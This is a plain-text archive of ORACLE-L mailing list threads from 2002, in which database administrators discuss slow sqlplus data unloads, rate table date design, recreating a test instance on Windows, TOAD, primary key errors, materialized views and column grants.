Also, I'm sure someone will suggest using Perl. HTH, Bruce Reardon -Original Message- Sent: Wednesday, 24 April 2002 14:53 Hi, Our application uses sqlplus + sqlloader to transfer data between databases. It takes nearly four hours to unload to data to flat files(1G), which is far too slow. In the application, the query looks like the following. All those 3,4,5 are for sqlldr format. select ' ' || '4' || replace( replace ( ltrim(dealerid), '4', '4' || '4' ), CHR(10), CHR(10) || '5' ) ||'4'||'3' || ... from table_name f where eventdate = to_date(1) and eventdate = to_date(2); Firstly, there is nothing wrong with the query, since if I insert into a table it only takes less than 15 minutes. Therefore, there must be problem with either sqlplus or Networking. With sqlplus, I increase arraysize from 1 to 2000. With Networking, I put tcp.nodelay=yes on protocol.ora. Both doesn't work. I try thrid party software which is writen by Pro*C to download tables to flat file. Its speed is more than 60M/minute. I monitor v$session_event while it's running.The only different is event SQL*Net message from client. In AVERAGE_WAIT and MAX_WAIT, the different is huge. sqlplus: TOTAL_WAITS TOTAL_TIMEOUTS TIME_WAITED AVERAGE_WAIT MAX_WAIT 49 0 5998 122.4 1004 Pro*C: TOTAL_WAITS TOTAL_TIMEOUTS TIME_WAITED AVERAGE_WAIT MAX_WAIT 351 0 677 1.92 42 What's the problem sqlplus or net8? BTW, dblink doesn't work since the two databases on isolated network. emp/imp is an option. However, I just try to find out what is wrong with sqlplus one. I test 8.0.5 and 8.1.7 on solaris 2.6-2.8. Thanks in advance, Bin -- -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Stephane Faroul INET: [EMAIL PROTECTED] Fat City Network Services
RE: RE: Design question: EFFECTIVE_?_DATE in a RATE table...
My first move was to say that I fully agree with Aleem, but on second thoughts I think that the problem for current and historical values is more or less the same. Basically you can store either start and end dates, which may look a bit redundant since the end date of a row is likely to be, give or take one, the start date for another row refering to the same code, or you can store, as you suggest, a mandatory RATE_EFFECTIVE_DATE, or you can also store a RATE_END_DATE which, as some have suggested, should be a date in a distant future rather than NULL for the current rate. Whether you are interested in the current or an historical value is fairly easy, it requires finding either the maximum RATE_EFFECTIVE_DATE below the date of interest for a given code - or the minimum RATE_END_DATE above the date of interest. Note however that in both cases you will need either a subquery or an inline view, which will probably be less efficient than a BETWEEN involving the date, but not dram! ! atically so assuming the proper indices. Indices the size of which will be reduced, by the way, which is good for fast and even range index scans. The code could look like : SELECT VALUE FROM RATE WHERE RATE_CODE = some_code AND RATE_EFFECTIVE_DATE = (SELECT MAX(RATE_EFFECTIVE_RATE) FROM RATE WHERE RATE_CODE = some_code AND RATE_EFFECTIVE_DATE = your_date) You should also try a join with an inline view doing a GROUP BY on RATE_CODE. In some circumstances it could be better. If you intend to use the value at a large number of places, I suggest you store it to a packaged variable to minimize the number of queries. - Original Message - From: Abdul Aleem [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wed, 24 Apr 2002 02:23:25 Chris, The only issue I see with the modified table is that when you wish to obtain history from your child table based on two dates, to determine which rate to apply you need to base your SQL on two records. However if you store starting and ending dates it will be easy to identify the applicable rate. HTH! Aleem -Original Message- From: Grabowy, Chris [SMTP:[EMAIL PROTECTED]] Sent: Monday, April 22, 2002 7:55 PM To: Multiple recipients of list ORACLE-L Subject: Design question: EFFECTIVE_?_DATE in a RATE table... A design question, my RATE table looks something like this SQL desc rate Name Null?Type - RATE_CODE NOT NULL CHAR(2) RATE_EFFECTIVE_START_DATE NOT NULL DATE RATE_EFFECTIVE_END_DATE NOT NULL DATE . . those are the PK fields...and the SQL to query the table is easy. I am trying to determine if I can tighten up the table, like this... SQL desc rate Name Null?Type - RATE_CODE NOT NULL CHAR(2) RATE_EFFECTIVE_DATE NOT NULL DATE I just haven't been able to code the right SQL. Has anyone else taken this approach? Sorry for these design questions, I am just being very anal about every table, PK column and index, before we dive into development and everything becomes hard coded. TIA Chris -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Grabowy, Chris INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Koivu, Lisa INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Abdul Aleem INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Best way to drop and recreate and instance?
Hi All, I have *finally* got time to drop one of our test instances and recreate it (tomorrow), and wanted some feedback from all of you as to the best way to go around this? The current instance is 8.1.7. on a Win2K machine.. The reason that I'm dropping/recreating (some of you may remember this) is because I simply *CANNOT* drop a user: salesconnect sys/sys@sales Connected. salesselect username, password 2 from dba_users 3where username = 'SCOTT'; USERNAME PASSWORD -- -- SCOTT F894844C34402B67 salesdrop user scott cascade; drop user scott cascade * ERROR at line 1: ORA-00604: error occurred at recursive SQL level 1 ORA-00942: table or view does not exist LOL! If anybody has seen this since I last asked the list, and has a solution, please speak up now as this will save me the time of dropping/recreating the instance.. Moving on - what would you consider the best approach to dropping and recreating an instance on a Win32 platform? In the past (as these are purely test instances) I have simply blasted the whole directories (Oracle and all), then deleted any mention of Oracle within the registry (after taking a backup of course), and moved on to a completely fresh install (usually to go to a higher version). This time though, I would like to keep 8.1.7 installed on this box, and would prefer to keep Oracle installed, and simply drop and recreate a fresh (empty) instance.. How would you go about doing this? Advanced thanks. Mark === Mark Leith | T: +44 (0)1905 330 281 Sales Marketing | F: +44 (0)870 127 5283 Cool Tools UK Ltd | E: [EMAIL PROTECTED] === http://www.cool-tools.co.uk Maximising throughput performance -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: TOAD schema browser
Hello, You should change the schema name from the list box, which is just under the toolbar. Regards M.Emre HANCIOGLU Masterfoods Services GmbH ISI Application Support Tel : +49 2162 500-576 Fax: +49 2162 41497 E-Mail: [EMAIL PROTECTED] Sergey V Dolgov [EMAIL PROTECTED] pptus.oilnet.ru Sent by: [EMAIL PROTECTED] 24.04.02 11:58 Please respond to ORACLE-L To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] cc: Subject: TOAD schema browser Hello ORACLE-L, I'm connecting to oracle using TOAD under sys account - all works well. I can select from sys' tables and views, but when I start schema browser it shows schema for another user (not sys). Is it TOAD bug? How to fix the problem? -- Best regards, Sergey mailto:[EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Sergey V Dolgov INET: [EMAIL PROTECTED] Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Is sqlplus too slow to unload data?
If you have PRO*C and a c-compiler, you can follow this link (you need both lines) to download a basic sqlunldr tool. It is almost as fast as exp. http://asktom.oracle.com/pls/ask/f?p=4950:8:646297::NO::F4950_P8_DISPLAYID,F 4950_P8_CRITERIA:459020243348,%7BSQLDA%7D Caver -Original Message- Sent: Wednesday, April 24, 2002 3:33 AM To: Multiple recipients of list ORACLE-L Bruce, SQLPlus: set pages 0; set lines 1; set termout off; set trimspool on; set trimout on; set echo off; set feedback off; set verify off; set recsep off; set arraysize 2000; PDQOut is 3rd party product I test. I also test the PL/SQL from Thomas Kyte's book. I call it from sqlplus, and the speed is only 1.5 time faster than sqlplus one. exp can achieve 500M/minute. However, I intend to change it as small as possible. I wonder if about 5M/minute is max speed for sqlplus. Regards, Bin Reardon, Bruce (CALBBAY) wrote: Bin, Have you tried setting term off in your sqlplus session - what effect does this have? I would guess that the Pro*C program also uses Net8 so the problem would be in SQLPlus. Which 3rd party product did you try? Have you tested PDQOut from http://www.oriole.com - this is written in OCI. Also, I'm sure someone will suggest using Perl. HTH, Bruce Reardon -Original Message- Sent: Wednesday, 24 April 2002 14:53 Hi, Our application uses sqlplus + sqlloader to transfer data between databases. It takes nearly four hours to unload to data to flat files(1G), which is far too slow. In the application, the query looks like the following. All those 3,4,5 are for sqlldr format. select ' ' || '4' || replace( replace ( ltrim(dealerid), '4', '4' || '4' ), CHR(10), CHR(10) || '5' ) ||'4'||'3' || ... from table_name f where eventdate = to_date(1) and eventdate = to_date(2); Firstly, there is nothing wrong with the query, since if I insert into a table it only takes less than 15 minutes. Therefore, there must be problem with either sqlplus or Networking. With sqlplus, I increase arraysize from 1 to 2000. With Networking, I put tcp.nodelay=yes on protocol.ora. Both doesn't work. I try thrid party software which is writen by Pro*C to download tables to flat file. Its speed is more than 60M/minute. I monitor v$session_event while it's running.The only different is event SQL*Net message from client. In AVERAGE_WAIT and MAX_WAIT, the different is huge. sqlplus: TOTAL_WAITS TOTAL_TIMEOUTS TIME_WAITED AVERAGE_WAIT MAX_WAIT 49 0 5998 122.4 1004 Pro*C: TOTAL_WAITS TOTAL_TIMEOUTS TIME_WAITED AVERAGE_WAIT MAX_WAIT 351 0 677 1.92 42 What's the problem sqlplus or net8? BTW, dblink doesn't work since the two databases on isolated network. emp/imp is an option. However, I just try to find out what is wrong with sqlplus one. I test 8.0.5 and 8.1.7 on solaris 2.6-2.8. Thanks in advance, Bin -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Reardon, Bruce (CALBBAY) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Bin Wang INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Toepke, Kevin M INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Constraints
Hallo, I am trying to run this script, ALTER TABLE PBK.K1 ADD CONSTRAINT idx_rollson PRIMARY KEY (BUTIKS_NR) but gets the erormessage ORA-02437: cannot validate (PBK.IDX_ROLLSON) - primary key violated what can I do to solve this? Please help me. Wouldnt it be enough to have unique values in thefield butiks_nr? Thanks in advance Roland -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Materialized View
I tried following SQL SQL create materialized view mat_dept 2 refresh fast with rowid 3 start with sysdate next sysdate+ 1/(24*60) 4 as (select * from dept@softek1); as (select * from dept@softek1) * ERROR at line 4: ORA-01435: user does not exist ORA-06512: at SYS.DBMS_SNAPSHOT_UTL, line 845 ORA-06512: at line 1 Why such error is coming and how can i create materialized view? Thanks in advance Atul -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Atul Kumar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Constraints
Likely that your data in the table violates the constraint. Export the table, truncate table, add constraint and try importing to it -watch for violation of constraint during import. Ciao 'n best of luck. --- CSW -Original Message- Sent: Wednesday, April 24, 2002 3:09 PM To: Multiple recipients of list ORACLE-L Hallo, I am trying to run this script, ALTER TABLE PBK.K1 ADD CONSTRAINT idx_rollson PRIMARY KEY (BUTIKS_NR) but gets the erormessage ORA-02437: cannot validate (PBK.IDX_ROLLSON) - primary key violated what can I do to solve this? Please help me. Wouldnt it be enough to have unique values in thefield butiks_nr? Thanks in advance Roland -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Simon Waibale INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Constraints
you must ensure uniquness and not null of each value in cells of column BUTIKS_NR -Original Message- [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 5:39 PM To: Multiple recipients of list ORACLE-L Hallo, I am trying to run this script, ALTER TABLE PBK.K1 ADD CONSTRAINT idx_rollson PRIMARY KEY (BUTIKS_NR) but gets the erormessage ORA-02437: cannot validate (PBK.IDX_ROLLSON) - primary key violated what can I do to solve this? Please help me. Wouldnt it be enough to have unique values in thefield butiks_nr? Thanks in advance Roland -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Atul Kumar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Why wait?
There's something I don't understand. Why use the wait interface to investigate "db file scattered read" or "db file sequential read"? The end result is finding an SQL statement that does a lot of reads. There's no guarantee it's a poorly tuned SQL statement, just that it does a lot of reads. If that's what you want, why not just query v$sql and order by physical reads? Doing this is a whole lot easier. Also, unlike the hit and miss results from v$session_wait,v$sql provides a comprehensive picture. Thanks for your input. Cheers!
column level grants
Dear gurus ! Is there a way to give column level privileges in 8.1.7 , i.e. i have a table MYTAB (with more than 2 columns) , owned by AAA. I want to grant user BBB the following priveleges : select on AAA.MYTAB.COL1 update on AAA.MYTAB.COL2 is it possible at all in 8.1.7? thanks. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Andrey Bronfin INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Best way to drop and recreate and instance?
Something to do with SYS.DUC$? Have you tried to delete all objects first (ie tables (with CASCADE CONSTRAINTS), views, types, packages, sequences, functions, procedures and synonyms - indexes, triggers and package bodies will go anyway) then to DROP USER without CASCADE ? Otherwise if your dictionary is beeped recreating the database is indeed probably the best you have to do. Would do it fairly easily under Unix (remove all files, and run CREATE DATABASE from scratch, catalog and all), I don't see any reason why it should be any different under Windows. You can probably even use OUI to recreate your database (sigh). - Original Message - From: Mark Leith [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wed, 24 Apr 2002 03:53:19 Hi All, I have *finally* got time to drop one of our test instances and recreate it (tomorrow), and wanted some feedback from all of you as to the best way to go around this? The current instance is 8.1.7. on a Win2K machine.. The reason that I'm dropping/recreating (some of you may remember this) is because I simply *CANNOT* drop a user: salesconnect sys/sys@sales Connected. salesselect username, password 2 from dba_users 3where username = 'SCOTT'; USERNAME PASSWORD -- -- SCOTT F894844C34402B67 salesdrop user scott cascade; drop user scott cascade * ERROR at line 1: ORA-00604: error occurred at recursive SQL level 1 ORA-00942: table or view does not exist LOL! If anybody has seen this since I last asked the list, and has a solution, please speak up now as this will save me the time of dropping/recreating the instance.. Moving on - what would you consider the best approach to dropping and recreating an instance on a Win32 platform? In the past (as these are purely test instances) I have simply blasted the whole directories (Oracle and all), then deleted any mention of Oracle within the registry (after taking a backup of course), and moved on to a completely fresh install (usually to go to a higher version). This time though, I would like to keep 8.1.7 installed on this box, and would prefer to keep Oracle installed, and simply drop and recreate a fresh (empty) instance.. How would you go about doing this? Advanced thanks. Mark -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Stephane Faroul INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Constraints
hi roland ... it seems your table already had a data redundant data ...for a BUTIKS_NR column and when you try to add a new constraints it produced an error message try to remove redundant data ... or empty your table first... then add a constraint ... regards kang bedjo I'd rather see the world from another angle *- Jewel- * -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: B3D70 INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Best way to drop and recreate and instance?
Never mind all - I cheated and used the Database Configuration Assistant to drop and create a new one.. ;P -Original Message- Sent: 24 April 2002 12:53 To: Multiple recipients of list ORACLE-L Hi All, I have *finally* got time to drop one of our test instances and recreate it (tomorrow), and wanted some feedback from all of you as to the best way to go around this? The current instance is 8.1.7. on a Win2K machine.. The reason that I'm dropping/recreating (some of you may remember this) is because I simply *CANNOT* drop a user: salesconnect sys/sys@sales Connected. salesselect username, password 2 from dba_users 3where username = 'SCOTT'; USERNAME PASSWORD -- -- SCOTT F894844C34402B67 salesdrop user scott cascade; drop user scott cascade * ERROR at line 1: ORA-00604: error occurred at recursive SQL level 1 ORA-00942: table or view does not exist LOL! If anybody has seen this since I last asked the list, and has a solution, please speak up now as this will save me the time of dropping/recreating the instance.. Moving on - what would you consider the best approach to dropping and recreating an instance on a Win32 platform? In the past (as these are purely test instances) I have simply blasted the whole directories (Oracle and all), then deleted any mention of Oracle within the registry (after taking a backup of course), and moved on to a completely fresh install (usually to go to a higher version). This time though, I would like to keep 8.1.7 installed on this box, and would prefer to keep Oracle installed, and simply drop and recreate a fresh (empty) instance.. How would you go about doing this? Advanced thanks. Mark === Mark Leith | T: +44 (0)1905 330 281 Sales Marketing | F: +44 (0)870 127 5283 Cool Tools UK Ltd | E: [EMAIL PROTECTED] === http://www.cool-tools.co.uk Maximising throughput performance -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Constraints
it should not contain any null values too other than being unique. Kranti -Original Message- Sent: Wednesday, April 24, 2002 5:39 PM To: Multiple recipients of list ORACLE-L Hallo, I am trying to run this script, ALTER TABLE PBK.K1 ADD CONSTRAINT idx_rollson PRIMARY KEY (BUTIKS_NR) but gets the erormessage ORA-02437: cannot validate (PBK.IDX_ROLLSON) - primary key violated what can I do to solve this? Please help me. Wouldnt it be enough to have unique values in thefield butiks_nr? Thanks in advance Roland -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: kranti pushkarna INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: TOAD schema browser
It doesn't work as it shows no items in the list box ..I face the same problem. Thanks and Regards Amit Nagar [EMAIL PROTECTED] Sent by: [EMAIL PROTECTED] 04/24/02 04:53 PM Please respond to ORACLE-L To:Multiple recipients of list ORACLE-L [EMAIL PROTECTED] cc: Subject:Re: TOAD schema browser Hello, You should change the schema name from the list box, which is just under the toolbar. Regards M.Emre HANCIOGLU Masterfoods Services GmbH ISI Application Support Tel : +49 2162 500-576 Fax: +49 2162 41497 E-Mail: [EMAIL PROTECTED] Sergey V Dolgov [EMAIL PROTECTED] pptus.oilnet.ru Sent by: [EMAIL PROTECTED] 24.04.02 11:58 Please respond to ORACLE-L To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] cc: Subject: TOAD schema browser Hello ORACLE-L, I'm connecting to oracle using TOAD under sys account - all works well. I can select from sys' tables and views, but when I start schema browser it shows schema for another user (not sys). Is it TOAD bug? How to fix the problem? -- Best regards, Sergey mailto:[EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Sergey V Dolgov INET: [EMAIL PROTECTED] Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Best way to drop and recreate and instance?
Hi Witold, Thanks for the reply.. I had already dropped all of scott's objects (although this does actually occur with *any* user that I tried it against), then connected as SYS as shown below, and still got the same error. I also re-ran catalog.sql and catproc.sql.. There were no other objects within the database relating to any created/owned by scott.. I've now dropped the instance and re-created it ;P Being a sales critter doesn't give me the time I would prefer to get my hands dirty with a real DBA type job.. Thanks for the help anyway Mark -Original Message- Sent: 24 April 2002 13:02 To: Mark Leith Hi I don't remember what others recommended and don't know what you have tried so far but if I had similar problem I would check dba_objects to see which objects the SCOTT owns. Maybe it will give you a clue. If it didn't help, I would connect as SCOTT and droped his objects. Then I would connect as system and dropped SCOTT. There probably may be many reasons but one I can think of is that there is an object/synonym/grant problem. It should take less time than recreating your Oracle instance. Plus it may be opportunity to learn something. If you decide to try and find the problem I would like to know. I don't know the details, and am not a DBA but have done some dba'ing and have seen few problems when a user owned an object and there was a public synonym, with the same name, pointing to non-existing object. HTH Witold On 24 Apr 2002 at 3:53, Mark Leith wrote: Hi All, I have *finally* got time to drop one of our test instances and recreate it (tomorrow), and wanted some feedback from all of you as to the best way to go around this? The current instance is 8.1.7. on a Win2K machine.. The reason that I'm dropping/recreating (some of you may remember this) is because I simply *CANNOT* drop a user: salesconnect sys/sys@sales Connected. salesselect username, password 2 from dba_users 3where username = 'SCOTT'; USERNAME PASSWORD -- -- SCOTT F894844C34402B67 salesdrop user scott cascade; drop user scott cascade * ERROR at line 1: ORA-00604: error occurred at recursive SQL level 1 ORA-00942: table or view does not exist LOL! If anybody has seen this since I last asked the list, and has a solution, please speak up now as this will save me the time of dropping/recreating the instance.. Moving on - what would you consider the best approach to dropping and recreating an instance on a Win32 platform? In the past (as these are purely test instances) I have simply blasted the whole directories (Oracle and all), then deleted any mention of Oracle within the registry (after taking a backup of course), and moved on to a completely fresh install (usually to go to a higher version). This time though, I would like to keep 8.1.7 installed on this box, and would prefer to keep Oracle installed, and simply drop and recreate a fresh (empty) instance.. How would you go about doing this? Advanced thanks. Mark === Mark Leith | T: +44 (0)1905 330 281 Sales Marketing | F: +44 (0)870 127 5283 Cool Tools UK Ltd | E: [EMAIL PROTECTED] === http://www.cool-tools.co.uk Maximising throughput performance -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). == Witold Iwaniec Sr Software Developer NovaLIS Technologies [EMAIL PROTECTED] http://www.novalistech.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mark Leith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Best way to drop and recreate and instance?
Mark,
to remove an instance on NT (not the software, just the instance) do the
following:
Use ORADIM -sid {sid} -delete to remove the NT services for the instance.
then, simply remove all file structures for the database.
That's all there is to it. The database is gone.
On a side note - I have seen this type of error before, and it had to do
with Java not being installed correctly (within the database). I
re-installed Java (using initjvm.sql under the ORACLE_HOME/Javavm/install
directory and the error went away. This might not have any effect on your
problem. The Java reinstall takes about 20 minutes.
It's actually quicker to kill he instance and start again! :)
Hope this helps
Tom Mercadante
Oracle Certified Professional
-Original Message-
Sent: Wednesday, April 24, 2002 7:53 AM
To: Multiple recipients of list ORACLE-L
Hi All,
I have *finally* got time to drop one of our test instances and recreate it
(tomorrow), and wanted some feedback from all of you as to the best way to
go around this?
The current instance is 8.1.7. on a Win2K machine.. The reason that I'm
dropping/recreating (some of you may remember this) is because I simply
*CANNOT* drop a user:
salesconnect sys/sys@sales
Connected.
salesselect username, password
2 from dba_users
3where username = 'SCOTT';
USERNAME PASSWORD
-- --
SCOTT F894844C34402B67
salesdrop user scott cascade;
drop user scott cascade
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-00942: table or view does not exist
LOL!
